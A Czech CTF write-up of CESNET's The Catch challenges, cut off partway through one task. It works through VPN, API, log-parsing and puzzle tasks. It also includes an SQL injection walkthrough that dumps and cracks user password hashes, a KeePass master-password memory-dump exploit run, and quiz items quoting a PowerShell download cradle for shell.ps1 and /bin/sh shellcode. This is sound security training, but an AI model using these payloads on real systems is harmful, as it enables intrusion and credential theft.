Podobně jako předchozí roky, tak i letos CESNET uspořádal tradiční podzimní CTF The Catch. V jednotlivých úlohách/výzvách bylo cílem vždy získat "vlajku" – ukrytý kód skrývající se v různých podobách buď v hacknutelných systémech nebo ve stažených souborech, všechno nějakým způsobem imitující "hackování".
Povedlo se mi nakonec získat vlajku v 17 z 18 úloh a níže je můj write-up popisující můj přístup k řešení každé úlohy.
Ahoy, deck cadet,
a lot of ship systems is accessible only via VPN. You have to install and configure OpenVPN properly. Configuration file can be downloaded from CTFd's link VPN. Your task is to activate VPN and visit the testing page.
May you have fair winds and following seas!
Testing page is available at http://vpn-test.cns-jv.tcc.
Podobně jako loni, taková prerekvizita pro mnoho dalších úloh. Stačilo si stáhnout vygenerovanou konfiguraci pro OpenVPN, spustit OpenVPN a přečíst si vlajku na stránce na výše uvedené doméně.
S DNS byl opět na Linuxu drobný problém, je potřeba DNS server poskytnutý
po připojení OpenVPN serverem přidat do systémového resolveru, což je ve Windows
automatické, v Linuxu kvůli rozmanitosti systémů bohužel ne. Ale naštěstí má
většina distribucí jako součást instalace OpenVPN i sbírku skriptů a stačí tak
do konfigurace dopsat jejich zavolání (up
je akce při spuštění VPN, down
zase akce při vypnutí):
script-security 2
up /etc/openvpn/update-resolv-conf
down /etc/openvpn/update-resolv-conf
down-pre
Pak už jen spustíme OpenVPN a přečteme si vlajku:
$ sudo openvpn --config ctfd_ovpn.ovpn
$ curl -s http://vpn-test.cns-jv.tcc | grep -i flag
<h1>Confirmation code: <tt>FLAG{smna-m11d-hhta-ONOs}</tt></h1>
Ahoy, deck cadet,
working with maps and searching for treasures is every sailor's daily routine, right? Your task is to examine the map and find any hidden secrets.
May you have fair winds and following seas!
Download the treasure map.
Na zadaném odkazu je PNG obrázek pirátské mapy, na které jsou lehce znát písmenka. Abychom se při čtení netrápili, tak v GIMPu vybereme jednolitě barevné pozadí (s nastavením prahu na 0, abychom nevybrali nic jiného) a změníme mu barvu, aby se nám pak vlajka lépe četla:
Původní mapa | Začerněná mapa |
---|---|
Pak už jen čteme FLAG{WIFI-AHEA-DCAP-TAIN}
.
Ahoy, deck cadet,
your task is to prepare good coffee for captain. As a cadet, you are prohibited from going to the captain's cabin, so you will have to solve the task remotely. Good news is that the coffee maker in captain's cabin is online and can be managed via API.
May you have fair winds and following seas!
Coffee maker API is available at http://coffee-maker.cns-jv.tcc.
Toto byla jednoduchá úložka na práci s RESTovým API, taková rozcvička. Na adrese ze zadání dostaneme JSON, který nám radí podívat se na dokumentaci:
$ curl http://coffee-maker.cns-jv.tcc/
{"status":"Coffemaker ready","msg":"Visit /docs for documentation"}
Po návštěvě /docs
pak dostáváme OpenAPI specifikaci,
ve které se dozvíme o několika zajímavých endpointech, především GET /coffeeMenu
a pak POST /makeCoffee
. Tak zjistíme, co za kávu nabízejí, a zkusíme nějakou
připravit.
curl http://coffee-maker.cns-jv.tcc/coffeeMenu | jq
{
"Menu": [
{
"drink_name": "Espresso",
"drink_id": 456597044
},
{
"drink_name": "Lungo",
"drink_id": 354005463
},
{
"drink_name": "Capuccino",
"drink_id": 234357596
},
{
"drink_name": "Naval Espresso with rum",
"drink_id": 501176144
}
]
}
Až potuď by úlohu šlo vyřešit i v browseru, ale pro ruční poslání POST requestu
je nejjednodušší asi použít curl
. Abychom nemuseli zkoušet všechny kávy, tak
si můžeme pomocí jq
vysekat jen jejich drink_id
a pak pro každé z nich
zkusit připravit kávu.
Jak vzápětí zjistíme, tak by stačilo vybrat si jakékoliv drink_id
, protože
na všechny dostaneme stejnou odpověď s vlajkou :)
curl -s http://coffee-maker.cns-jv.tcc/coffeeMenu | jq '.Menu.[].drink_id' | while read id; do
curl -X POST -H 'Content-Type: application/json' http://coffee-maker.cns-jv.tcc/makeCoffee/ -d "{\"drink_id\": $id}" | jq;
done
{
"message": "Your Naval Espresso with rum is ready for pickup",
"validation_code": "Use this validation code FLAG{ccLH-dsaz-4kFA-P7GC}"
}
Ahoy, deck cadet,
there are rumors that on the ship web server is not just the official presentation. Your task is to disprove or confirm these rumors.
May you have fair winds and following seas!
Ship web server is available at http://www.cns-jv.tcc.
Hint: Check the content of the certificate of the web.
Další rozcvičková úloha, ale už o krapet složitější. V zadání dostáváme adresu,
která nás přesměruje na svou HTTPS verzi podepsanou neznámým certifikátem.
Certifikát ani nemůže být validní, protože pro TLD .tcc
běžící jenom za VPNkou
by ho asi žádný velký vydavatel certifikátů nevydal a nezaručil se za něj.
V rámci řešení CTFka ale můžeme s opatrností pokračovat.
Zobrazí se nám stránka, která v patičce má ver. RkxBR3sgICAgLSAgICAtICAgIC0gICAgfQ==
.
To nápadně připomíná base64 enkódování,
zkusme si ho přeložit na text:
$ echo "RkxBR3sgICAgLSAgICAtICAgIC0gICAgfQ==" | base64 -d
FLAG{ - - - }
To vypadá zajímavě, ale části vlajky nám scházejí. Hint nám však radí, abychom prozkoumali certifikát. A vskutku, certifikát je vydaný i pro několik dalších domén:
- documentation.cns-jv.tcc
- home.cns-jv.tcc
- pirates.cns-jv.tcc
- structure.cns-jv.tcc
Žádná z nich se bohužel neresolvuje na IP adresu, ale pokud je certifikát vydaný
pro více domén, tak to může znamenat, že všechny běží na tom stejném stroji.
Použijeme tedy IP adresu stroje z funkční domény, ale v Host
HTTP hlavičce
mu předáme ostatní domény. To jde udělat pomocí curl
například jako níže
(namísto IP adresy www.cns-jv.tcc
můžeme rovnou zadat tuto doménu).
Na každém webu je nějaká stránka opět s base64 verzí uvedenou někde na ní.
Vhodným použitím příkazů grep
, sed
a base64
tak vytáhneme části vlajky:
$ curl -s -H "Host: home.cns-jv.tcc" -k https://www.cns-jv.tcc/style.css | sed 's/.*"ver. \(.*\)".*/\1/' | base64 -d
FLAG{ - - -gMwc}
$ curl -s -H "Host: home.cns-jv.tcc" -k https://www.cns-jv.tcc/?user=abc | grep ">ver\. " | sed 's/.*>ver. \(.*\)<.*/\1/' | base64 -d
FLAG{ejii- - - }j
$ curl -s -H "Host: pirates.cns-jv.tcc" -k https://www.cns-jv.tcc/ | grep ">ver\. " | sed 's/.*>ver. \(.*\)<.*/\1/' | base64 -d
FLAG{ - -Q53C- }
$ curl -s -H "Host: structure.cns-jv.tcc" -k https://www.cns-jv.tcc/ | grep ">ver\. " | sed 's/.*>ver. \(.*\)<.*/\1/' | base64 -d
FLAG{ -plmQ- - }
… a finálně složíme FLAG{ejii-plmQ-Q53C-gMwc}
. Toto už byla první zajímavější
úloha a předzvěst narůstající obtížnosti.
Ahoy, officer,
each crew member must be able to operate the sonar and understand its logs. Your task is to analyze the given log file, and check out what the sonar has seen.
May you have fair winds and following seas!
Download the logs.
Update: Be aware that some devices do not use up-to-date libraries - this sonar, for example, is based on python and uses an old
pytz
library version 2020.4.
Stáhneme si soubor sonar.log
a podíváme se do něj:
2023-10-01 22:51:22 Pacific/Honolulu - Transmitters activated
2023-10-02 00:32:51 US/Pacific - Receiver 5 up
2023-10-02 00:33:45 America/Vancouver - Preprocessor up
2023-10-02 00:52:22 America/Creston - Object detected in depth 65 (0x41)
2023-10-02 01:30:48 America/Belize - Power generator up
2023-10-02 01:34:28 America/Inuvik - Graphical UI up
2023-10-02 01:34:59 America/Mazatlan - Transmitters activated
2023-10-02 01:42:58 Mexico/BajaSur - Transmitters activated
2023-10-02 01:49:54 US/Pacific - Object detected in depth 114 (0x72)
...
Každá řádka logu obsahuje časový údaj včetně časové zóny. Jsou teď seřazené
lexikograficky, ale nejsou seřazené správně podle času s ohledem na časové zóny.
Pak je zde spousta balastu a pak řádky logu, které nesou ještě další informaci – hloubku
v číslech mezi 45 a 125. Cvičenému hackerovi to okamžitě evokuje, že by hloubky
mohly být čísla písmen (a znaků -
, {
a }
) v ASCII tabulce.
Než ale záznamy řadit ručně a pak ještě převádět čísla na písmenka, tak si na to
radši napíšeme krátký prográmek v Pythonu. Zde pak přijde vhod hint, že pro
převod názvů časových pásem máme použít pytz
knihovnu verze 2020.4, protože názvy časových pásem v ní se dost měnily
(bohužel pytz
nepoužívá moc standardizované názvy).
Abychom si mohli pořídit správnou verzi knihovny, i když už máme v systému novější, tak si pořídíme Python venv (virtual environment), kde si můžeme verzi knihovny nadiktovat (pokud je tato verze na PyPI).
Vyrobíme si soubor requirements.txt
a pak
založíme venv a instalujeme do něj správnou verzi:
$ cat requirements.txt
pytz==2020.4
python-dateutil
# Vyrobení prázdného venv ve složce venv
$ python3 -m venv venv
# Aktivujeme venv, od této chvíle příkazy jako python3 a pip3 operují s ním
$ . venv/bin/activate
# Instalace balíčků
(venv) $ pip3 install -r requirements.txt
Pak si napíšeme skript, který načte všechny řádky logu, naparsuje je, seřadí
podle času a převede na písmenka: solve.py
(venv) $ python3 solve.py < sonar.log
FLAG{3YAG-2rbj-KWoZ-LwWm}
Ahoy, officer
knowledge of regular expressions is crucial for all sailors from CNS fleet. A 3D crossword puzzle is available to enhance this skill.
May you have fair winds and following seas!
Download the regular cube crossword.
Na uvedeném odkazu stáhneme soubor regular_cube.pdf
,
což je 3D křížovka s regulárními výrazy
(aneb regexy) pro každý řádek/sloupec ve všech třech osách.
Dá se postupovat od těch jasných regexů a postupně doplňovat. Na počítači doporučuji na doplňování Xournal++.
Moje řešení:
Nakonec vyšla tajenka, která je tentokrát (pro vyvarování se náhodných hloupých
chybiček) docela normální text: FLAG{NICE-NAVY-BLUE-CUBE}
.
Ahoy, officer,
almost all interfaces of the ship's systems are web-based, so we will focus the exercise on the relevant protocols. Your task is to identify all webs on given server, communicate with them properly and assembly the control string from responses.
May you have fair winds and following seas!
The webs are running on server
web-protocols.cns-jv.tcc
.Hint: Be aware that
curl
tool doesn't do everything it claims.
Tato úloha mě potrápila jako jedna z nejvíce.
První věc, kterou můžeme udělat, když dostaneme adresu, je podívat se, co na
počítači za touto adresou vlastně běží. Můžeme zkusit otevřít spojení na všechny
jeho TCP porty nástrojem nmap
, cím zjistíme, na kterých portech je nám počítač
ochotný odpovědět. Často se z toho dá zjistit, jaké všechny služby tam běží.
Protože nmap
normálně skenuje jen nejpoužívanější porty, tak mu ještě
pomocí přepínače -p
vysvětlíme, co má skenovat (-
je celý rozsah od 0 do 65535):
$ nmap -p- web-protocols.cns-jv.tcc
PORT STATE SERVICE
5009/tcp open airport-admin
5011/tcp open telelpathattack
5020/tcp open zenginkyo-1
8011/tcp open unknown
8020/tcp open intu-ec-svcdisc
Zkusíme na ně postupně poslat curl, abychom zjistili, jestli na nich běží nějaký web (když se úloha jmenuje "Web protocols"). Na většině z nich dostaneme nějaké obrázky kódované v base64:
$ curl -s http://web-protocols.cns-jv.tcc:5009
Unsupported protocol version
$ curl -s http://web-protocols.cns-jv.tcc:5011 | base64 -d | file -
/dev/stdin: PNG image data, 1920 x 1920, 8-bit/color RGBA, non-interlaced
# base64 encoded obrázek 2 koček (md5sum 67d46a3428164097d498759f999bbaed)
# podle hlaviček Python/werkzeug
$ curl -s http://web-protocols.cns-jv.tcc:5020 | base64 -d | file -
/dev/stdin: PNG image data, 1920 x 1920, 8-bit/color RGBA, non-interlaced
# base64 encoded obrázek 3 koček (md5sum 403b24ed73b4ea06ce23c001a04a176d)
# podle hlaviček Python/werkzeug
$ curl -s http://web-protocols.cns-jv.tcc:8011 | base64 -d | file -
/dev/stdin: PNG image data, 1920 x 1920, 8-bit/color RGBA, non-interlaced
# znovu base64 encoded obrázek 2 koček (md5sum 67d46a3428164097d498759f999bbaed)
# podle hlaviček nginx
$ curl -s -k https://web-protocols.cns-jv.tcc:8020/ | base64 -d | file -
/dev/stdin: PNG image data, 1920 x 1920, 8-bit/color RGBA, non-interlaced
# zabezpečený base64 encoded obrázek 3 koček (md5sum 403b24ed73b4ea06ce23c001a04a176d)
# podle hlaviček nginx
Z obrázků nic moc nevykoukáme, nanejvýše odhadneme, že nám ještě asi chybí
obrázek s jednou kočkou. Všimneme si ale cookies, které nám přišly nazpátek
v hlavičce Set-Cookie
:
$ curl -v http://web-protocols.cns-jv.tcc:5011 2>&1 >/dev/null | grep -i Set-Cookie
< Set-Cookie: SESSION=LXJ2YnEtYWJJ; Path=/
$ curl -v http://web-protocols.cns-jv.tcc:5020 2>&1 >/dev/null | grep -i Set-Cookie
< Set-Cookie: SESSION=Ui00MzNBfQ==; Path=/
$ curl -v http://web-protocols.cns-jv.tcc:8011 2>&1 >/dev/null | grep -i Set-Cookie
< Set-Cookie: SESSION=LXJ2YnEtYWJJ; Path=/
$ curl -vk https://web-protocols.cns-jv.tcc:8020 2>&1 >/dev/null | grep -i Set-Cookie
< set-cookie: SESSION=Ui00MzNBfQ==; Path=/
LXJ2YnEtYWJJ
je base64 encoded-rvbq-abI
Ui00MzNBfQ==
je base64 encodedR-433A}
Schází nám ještě první část vlajky, zatím máme FLAG{....-rvbq-abIR-433A}
.
Další věcí, které si můžeme všimnout, je to, že Python servery odpovídají
protokolem HTTP/1.0, Nginx pak HTTP/1.1 a HTTP/2, nemůže ten první endpoint být
původní HTTP, dnes nazývané HTTP/0.9?
To neposílalo v requestu žádnou verzi a request tak vypadal jen jako GET /cesta
(narozdíl třeba od HTTP/1.1, kde vypadá jako GET /cesta HTTP/1.1
).
Protože curl
podle hintu HTTP/0.9 neposílá správně, tak to můžeme udělat ručně
přes netcat třeba takto:
$ echo "GET /" | nc 10.99.0.122 5009
HTTP/1.1 400 Bad Request
Unsupported protocol version
Až sem byla úloha velmi hezká. Ale bohužel po vyzkoušení tohoto a obdržení výše uvedené odpovědi jsem po dlouhém snažení úlohu odložil k ledu a vrátil se k ní až později. Endpoint totiž odpovídal tak, jako kdyby provozoval HTTP/1.1, ale ať do něj člověk posílá cokoliv, odpovídá mu v podstatě vždy stejně.
Až po mnoha pokusech a asi třetímu navrácení k úloze jsem si řekl, co když to autoři udělali blbě a stvořili protokol, který nikdy neexistoval? A ano!
$ echo "GET / HTTP/0.9" | nc 10.99.0.122 5009
HTTP/0.9 200 OK
SESSION=RkxBR3trckx0; iVBORw0KGgoA...
# data jsou obrázek s jednou kočkou
Rád bych ale řekl, že nic takového nikdy v historii neexistovalo a úloha byla kvůli tomu dost matoucí a nemám z ní moc dobré pocity, i když mohla být skutečně hezká :(
Finálně pak už jen dekódujeme RkxBR3trckx0
, získáme FLAG{krLt
a sestavíme
celou vlajku: FLAG{krLt-rvbq-abIR-433A}
HTTP/0.9 kočka | HTTP/1.1 kočky | HTTP/2.0 kočky |
---|---|---|
Ahoy, officer
your task is to pass a test that is part of the crew drill. Because of your rank of third officer, you must lead the crew by example and pass the test without a single mistake.
May you have fair winds and following seas!
The quiz webpage is available at http://quiz.cns-jv.tcc.
Na uvedené URL byl kvíz, který vždy ukázal část nějakého souboru nebo obecně
datového formátu a úkolem bylo vždy správně zvolit odpověď ze čtyř nabízených.
Teprve až po zodpovězení všech 20 otázek správně se zobrazila vlajka FLAG{QOn7-MdEo-9cuH-aP6X}
.
Užitečné odkazy:
- Seznam signatur běžných souborů na Wikipedii
JSON Web Token (JWT):
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkRvZSBKb2huIiwiaWF0IjoxNTE2MjM5MDIyfQ.Aqma4g_FzStCaLSyvpRgKLNIgM4now17FXwSHsBlwag
Po base64 dekódování první části z toho vypadne {"alg":"HS256","typ":"JWT"}
.
WordPress hash:
$P$BlW9FsUwJM0142LDsjtDsPUBHPVPIf/
Je to na první pohled nějaký hash hesla (na začátku pomocí $
oddělený nějaký
parametr). Po chvíli hledání možností lze najít ukázky WordPress hashů
vypadající podobně.
ZIP archive:
00000000 50 4b 03 04 14 00 00 00 08 00 39 9b c7 56 db 90 |PK........9.ÇVÛ.|
00000010 a9 3d 19 00 00 00 10 00 00 00 08 00 00 00 66 69 |©=............fi|
00000020 6c 65 2e 74 78 74 05 40 b1 09 00 30 0c 7a c5 d7 |le.txt.@±..0.zÅ×|
00000030 84 b8 45 5a 30 ef 0f 92 67 21 f4 5f 61 78 2c 50 |.¸EZ0ï..g!ô_ax,P|
00000040 4b 01 02 14 00 14 00 00 00 08 00 39 9b c7 56 db |K..........9.ÇVÛ|
00000050 90 a9 3d 19 00 00 00 10 00 00 00 08 00 00 00 00 |.©=.............|
00000060 00 00 00 00 00 00 00 00 00 00 00 00 00 66 69 6c |.............fil|
00000070 65 2e 74 78 74 50 4b 05 06 00 00 00 00 01 00 01 |e.txtPK.........|
00000080 00 36 00 00 00 3f 00 00 00 00 00 |.6...?.....|
# ZIP archive
Je to hexdump, vlevo jsou adresy, uprostřed bajty zapsané hexadecimálně, napravo
přepis do ASCII. Podle prvních dvou bajtů PK
je to ZIP archiv.
Windows PE executable:
00000000: 4d5a 9000 0300 0000 0400 0000 ffff 0000 MZ..............
00000010: b800 0000 0000 0000 4000 0000 0000 0000 ........@.......
00000020: 0000 0000 0000 0000 0000 0000 0000 0000 ................
00000030: 0000 0000 0000 0000 0000 0000 8000 0000 ................
00000040: 0e1f ba0e 00b4 09cd 21b8 014c cd21 5468 ........!..L.!Th
Opět hexdump, jen jinak seskupený (výstup z jiného programu). Podle prvních několika bajtů identifikujeme PE executable.
ELF binary:
00000000: 7f45 4c46 0201 0100 0000 0000 0000 0000 .ELF............
00000010: 0300 3e00 0100 0000 7033 0000 0000 0000 ..>.....p3......
00000020: 4000 0000 0000 0000 f8b1 0000 0000 0000 @...............
00000030: 0000 0000 4000 3800 0d00 4000 1e00 1d00 ....@.8...@.....
00000040: 0600 0000 0400 0000 4000 0000 0000 0000 ........@.......
00000050: 4000 0000 0000 0000 4000 0000 0000 0000 @.......@.......
00000060: d802 0000 0000 0000 d802 0000 0000 0000 ................
Hexdump, v prvních několika bajtech na nás přímo vykoukne název ELF.
Microsoft EVTX file signature:
0000000: 456c 6646 696c 6500 0000 0000 0000 0000 ElfFile.........
0000010: d300 0000 0000 0000 375e 0000 0000 0000 ........7^......
Opět hexdump, šlo poznat podle začátku souboru.
UTF-16 Little Endian encoded data:
00000000 49 00 45 00 58 00 28 00 4e 00 65 00 77 00 2d 00 |I.E.X.(.N.e.w.-.|
00000010 4f 00 62 00 6a 00 65 00 63 00 74 00 20 00 4e 00 |O.b.j.e.c.t. .N.|
00000020 65 00 74 00 2e 00 57 00 65 00 62 00 43 00 6c 00 |e.t...W.e.b.C.l.|
00000030 69 00 65 00 6e 00 74 00 29 00 2e 00 64 00 6f 00 |i.e.n.t.)...d.o.|
00000040 77 00 6e 00 6c 00 6f 00 61 00 64 00 53 00 74 00 |w.n.l.o.a.d.S.t.|
00000050 72 00 69 00 6e 00 67 00 28 00 27 00 68 00 74 00 |r.i.n.g.(.'.h.t.|
00000060 74 00 70 00 3a 00 2f 00 2f 00 31 00 30 00 2e 00 |t.p.:././.1.0...|
00000070 31 00 30 00 2e 00 31 00 34 00 2e 00 33 00 31 00 |1.0...1.4...3.1.|
00000080 2f 00 73 00 68 00 65 00 6c 00 6c 00 2e 00 70 00 |/.s.h.e.l.l...p.|
00000090 73 00 31 00 27 00 29 00 |s.1.'.).|
UTF-16 kóduje každé písmeno do dvou bajtů (16 bitů), takže podle pravé části hexdumpu je hned vidět, že je to UTF-16.
Java Serialized hex stream:
ac ed 00 05 75 72 00 13 5b 4c 6a 61 76 61 2e 6c
61 6e 67 2e 53 74 72 69 6e 67 3b ad d2 56 e7 e9
1d 7b 47 02 00 00 78 70 00 00 00 02 74 00 21 44
3a 2f 77 69 6e 33 32 61 70 70 2f 61 70 6c 69 63
61 74 69 6f 6e 2f 62 69 6e 61 72 79 2e 65 78 65
74 00 09 2d 2d 76 65 72 73 69 6f 6e
Hexadecimální data. Podle prvních dvou bajtů lze dohledat.
Base64 encoded data:
$ echo 'dGhpc2lzYXRlc3RzdHJpbmcx' | base64 -d
thisisateststring1
Base32 encoded data:
$ echo 'ORUGS43JONQXIZLTORZXI4TJNZTTC===' | base32 -d
thisisateststring1
XOR obfuscated string:
00000000 41 4c 41 0c 51 47 50 54 47 50 0c 46 4d 4f 43 4b |ALA.QGPTGP.FMOCK|
00000010 4c 0c 58 4b 52 18 16 16 11 |L.XKR....|
Timestamp:
1609549323
-> Saturday 2. January 2021 1:02:03
PHP serialized object:
O:8:"MyClass":2:{s:4:"name";s:9:"John Doe";s:3:"age";i:25;}`
Serializace v PHP je docela přímočará, O
je objekt, 8
je délka názvu včetně
nullbyte na konci a tak dále.
Linux x86 shellcode:
\x31\xc0\x50\x68\x2f\x2f\x53\x48\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80
GZip hex stream:
$ echo '1f 8b 08 00 4f bd 80 64 00 ff 05 40 b1 09 00 30 0c 7a c5 d7 84 b8 45 5a 30 ef 0f 92 67 21 f4 5f 61 78 2c db 90 a9 3d 10 00 00 00' | xxd -r -p | file -
/dev/stdin: gzip compressed data, last modified: Wed Jun 7 17:24:31 2023
Tady jsme si pomohli utilitkou xxd
, která z hexadecimálního zápisu udělala
nazpět binární data a pak jsme je poslali do utilitky file
, která poznává
soubory podle jejich začátku.
.NET ViewState value:
echo '/wEPDwULLTE2MTY2ODcyMjkPFgQeCFVzZXJOYW1lBQ5EYXNndXB0YSBTaHViaB4IUGFzc3dvcmQFDElBbUFQYXNzd29yZGRk2/xP37hKKE9jfGYYzFjLuwpi6rHlPdXhfSspF6YRZiI=' | base64 -d
�
-161668722UserNameDasgupta ShubPassword
IAmAPassworddd��O߸J(Oc|f�X˻
b��=��}+)�f"
# .NET ViewState value
Na první pohled base64 zakódovaná data, z výstupu pak šlo odhadnout, že nic jiného to být nemůže.
Encoded PowerShell command:
$ echo 'SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEANAAuADMAMQAvAHMAaABlAGwAbAAuAHAAcwAxACcAKQA=' | base64 -d
IEX(New-Object Net.WebClient).downloadString('http://10.10.14.31/shell.ps1')
Opět base64 zakódovaná data, výstup pak byl opět jasný.
SHA1 a MD5:
40bd001563085fc35165329ea1ff5c5ecbdbbeef
-> SHA1 (správná délka)202cb962ac59075b964b07152d234b70
-> MD5 sum (správná délka)
Java Serialized data:
$ echo 'rO0ABXVyABNbTGphdmEubGFuZy5TdHJpbmc7rdJW5+kde0cCAAB4cAAAAAJ0ACFEOi93aW4zMmFwcC9hcGxpY2F0aW9uL2JpbmFyeS5leGV0AAktLXZlcnNpb24=' | base64 -d
��ur[Ljava.lang.String;��V��{Gxpt!D:/win32app/aplication/binary.exet --version
Po dekódování z base64 šlo poznat.
Ahoy, officer,
our captain has had too much naval espresso and is temporary unfit for duty. The chief officer is in command now, but he does not know the captain's passwords for key ship systems. Good news is that the captain uses password manager and ship chief engineer was able to acquire captain's computer memory crash dump. Your task is to acquire password for signalization system.
May you have fair winds and following seas!
Download the database and memory dump.
Ze staženého souboru na nás vypadne KeePass file (password manager)
captain.kdbx
a pak taky
asi gigový dump paměti. Když si instalujeme KeePass a zkusíme soubor načíst, tak
po nás samozřejmě chce master password. Musíme ho zjistit.
Po chvilce hledání lze přijít na to, že KeePass má známý exploit související s tím,
jak pracuje s textovým políčkem při zadávání hesla. Při každém stisku klávesy do
něj totiž přibude písmeno, ale KeePass ho hned změní na ●
. Bohužel kvůli
práci se stringy okolo tohoto textového políčka ale v paměti zůstávají stringy
s nějakým počtem ●
a s napsaným písmenem na konci:
Je dostupný i PoC k tomuto útoku, tak ho zkusíme na náš memory dump:
git clone https://github.com/vdohney/keepass-password-dumper
cd keepass-password-dumper/
dotnet run /tmp/crashdump.dmp
Vypadne z toho Combined: ●{), ÿ, a, :, |, í, W, 5, \n, r, ¸}ssword4mypreciousship
,
vypadá to na password4mypreciousship
. A funguje!
V KeePass souboru je dost hesel, zajímá nás ale to k Main Flag System, které má
nápadně známý tvar: FLAG{pyeB-941A-bhGx-g3RI}
Ahoy, officer,
the chief officer was invited to a naval espresso by the captain and now they are both unfit for duty. The second officer is very busy and he has asked you to find out where are we heading according to the navigation plan.
May you have fair winds and following seas!
The navigation plan webpage is available at http://navigation-plan.cns-jv.tcc.
Na uvedené adrese je web s obrázky lokací CNS Josef Verich, ale nejsou u nich uvedené informace. Taky je zde po rozkliknutí nabídky možnost na přihlášení, bohužel neznáme login ani heslo.
Všimneme si, že obrázky jsou loadované přes query argumenty jako třeba
image.png?type=data&t=targets&id=1
. Pojďme si si tím hrát:
Změníme id
na 0 a dostaneme namísto obrázku chybu: http://navigation-plan.cns-jv.tcc/image.png?type=data&t=targets&id=0
<br />
<b>Warning</b>: Trying to access array offset on value of type null in <b>/var/www/html/image.php</b> on line <b>12</b><br />
<br />
<b>Deprecated</b>: base64_decode(): Passing null to parameter #1 ($string) of type string is deprecated in <b>/var/www/html/image.php</b> on line <b>12</b><br />
-> na řádce 12 se bere něco z výsledků a base64 se to dekóduje
Změníme t
na xxx
: http://navigation-plan.cns-jv.tcc/image.png?type=data&t=xxx&id=1
<br />
<b>Fatal error</b>: Uncaught mysqli_sql_exception: Table 'navigation.xxx' doesn't exist in /var/www/html/image.php:9
Stack trace:
#0 /var/www/html/image.php(9): mysqli_query(Object(mysqli), 'SELECT data FRO...')
#1 {main}
thrown in <b>/var/www/html/image.php</b> on line <b>9</b><br />
-> určuje tabulku
Změníme type
na xxx
: http://navigation-plan.cns-jv.tcc/image.png?type=xxx&t=targets&id=1
<br />
<b>Fatal error</b>: Uncaught mysqli_sql_exception: Unknown column 'xxx' in 'field list' in /var/www/html/image.php:9
Stack trace:
#0 /var/www/html/image.php(9): mysqli_query(Object(mysqli), 'SELECT xxx FROM...')
#1 {main}
thrown in <b>/var/www/html/image.php</b> on line <b>9</b><br />
-> určuje sloupec
Vypadá to na neošetřený web dovolující útok pomocí SQL injection.
Dosazením nevalidní syntaxe za type
si můžeme obstarat kus query: http://navigation-plan.cns-jv.tcc/image.png?type=)&t=xxx&id=8"
`) FROM xxx JOIN files ON targets.id = files.id_target WHERE targets.id = 8`
Vidíme, že WHERE targets.id =
je tam napevno, stejně tak JOIN files
. Ale
můžeme si namísto sloupce vytahovat cokoliv jiného, když to ještě base64 enkódujeme.
Zjistíme tabulky v databázi, budeme chtít poslat tento výraz namísto názvu sloupce.
TO_BASE64((SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema='navigation'))
$ curl -s "http://navigation-plan.cns-jv.tcc/image.png?type=TO_BASE64((SELECT%20GROUP_CONCAT(table_name)%20FROM%20information_schema.tables%20WHERE%20table_schema=%27navigation%27))&t=targets&id=8"
files,targets,users
Dále již budu uvádět jen části SQL, které nastavíme do type
, zkonstruovat URL
už je pak hračka. Když teď víme názvy tabulek, tak je prozkoumáme a zjistíme, co
mají za sloupce:
TO_BASE64((SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_schema='navigation' AND table_name='targets'))
targets
: id,id_user,name,location,raw,status,date_added,finishedfiles
: id_file,id_user,id_target,datausers
: id,username,password,rank,active
Vytáhnout všechny hodnoty z konkrétní tabulky můžeme třeba takto:
TO_BASE64((SELECT GROUP_CONCAT(id) FROM users))
Postupně si vytáhneme všechny údaje o uživatelích. Hesla jsou SHA256 hashe, crackneme je pomocí https://crackstation.net/ obsahující hashe pro spoustu běžných hesel:
- id=1, username=engeneer, rank=1, active=0, password=15e2b0d3c33891ebb0f1ef609ec419420c20e320ce94c65fbc8c3312448eb225
- cracked:
123456789
- cracked:
- id=2, username=captain, rank=0, active=1, password=7de22a47a2123a21ef0e6db685da3f3b471f01a0b719ef5774d22fed684b2537
- cracked:
$captainamerica$
- cracked:
- id=3, username=officer, rank=1, active=1, password=6a4aed6869c8216e463054dcf7e320530b5dc5e05feae6d6d22a4311e3b22ceb
- heslo jsme nenašli :(
Zalogujeme se jako captain
a pod Target 4 (Mariana Trench) je FLAG{fmIT-QkuR-FFUv-Zx44}
.
Ahoy, officer,
one of deck cadets (remember your early days onboard) had a simple task to prepare simple web application to announce keyword of the day. He claimed that the task is completed, but he forgot on which port the application is running. Unfortunately, he also prepared a lot of fake applications, he claims it was necessary for security reasons. Find the keyword of the day, so daily routines on ship can continue.
May you have fair winds and following seas!
The webs are running somewhere on server
keyword-of-the-day.cns-jv.tcc
.
Když uděláme nmap -p- keyword-of-the-day.cns-jv.tcc
, tak zjistíme, že server
odpovídá celkem na 234 portech z rozsahu od 60000 do 60495 (seznam).
Každý z nich zdá se vrací na pohled tu stejnou stránku, ale obsah všech se mění každou sekundu! Liší se uvnitř jejich obfuskovaného javascriptu. Přesněji vždy v jednom elementu stringového pole (zvýrazněno níže):
…,'158706KaxUIc','82f6647715','XpYtE','getElement','zkkfn']…
// ^^^^^^^^^^
Obfuskace je pozměnění nějakého kódu tak, aby byl velmi špatně čitelný. Často se tak brání proti příliš jednoduchému ukradení Javascriptu ze stránek nebo se v obfuskovaném kódu často ukrývají zákeřné skripty před objevením antiviry a podobnými skenery.
Existují ale naštěstí deobfuskátory :) Zkusíme třeba https://obf-io.deobfuscate.io/ a dostaneme tento kód.
function getRandomInt(_0x12721b, _0x4bd30f) {
_0x12721b = Math.ceil(_0x12721b);
_0x4bd30f = Math.floor(_0x4bd30f);
return Math.floor(Math.random() * (_0x4bd30f - _0x12721b) + _0x12721b);
}
setTimeout(function () {
fn = getRandomInt(1, 4);
document.getElementById("loader").style.display = "none";
qn = "95f54a6471";
document.getElementById("myImage").src = "img/" + fn + ".png";
}, getRandomInt(1, 7) * 1000);
Po chvíli zkoumání:
- Je tam divné nepoužité
qn = "95f54a6471";
, které právě závisí na tom jednom měnícím se elementu obfuskovaného stringového pole. - Kód zobrazí po chvilce obrázky
img/1.png
